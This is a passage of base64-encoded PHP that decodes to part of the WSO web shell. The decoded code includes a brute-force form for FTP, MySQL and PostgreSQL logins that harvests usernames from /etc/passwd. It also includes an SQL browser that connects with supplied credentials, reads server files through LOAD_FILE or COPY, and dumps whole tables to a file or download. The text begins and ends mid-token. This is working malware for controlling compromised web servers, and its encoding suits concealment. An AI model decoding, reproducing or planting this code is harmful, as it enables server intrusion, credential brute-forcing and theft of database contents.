RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCgllY2hvICc8L2Rpdj48YnI+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KCWNsYXNzIERiQ2xhc3Mgew0KCQl2YXIgJHR5cGU7DQoJCXZhciAkbGluazsNCgkJdmFyICRyZXM7DQoJCWZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpCXsNCgkJCSR0aGlzLT50eXBlID0gJHR5cGU7DQoJCX0NCgkJZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBmZXRjaCgpIHsNCgkJCSRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdERicygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZXJyb3IoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gd3NvMjsiKTsNCgkJCQkJJHI9YXJyYXkoKTsNCgkJCQkJd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHdzbzInKTsNCgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCSRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7DQoJCQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCgkJCQkJCQkkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgl9Ow0KCSRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQoJCQkJJGRiLT5kdW1wKCR2KTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgfSBlbHNlDQogICAgICAgICAgICBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsNCgl9DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAiDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgI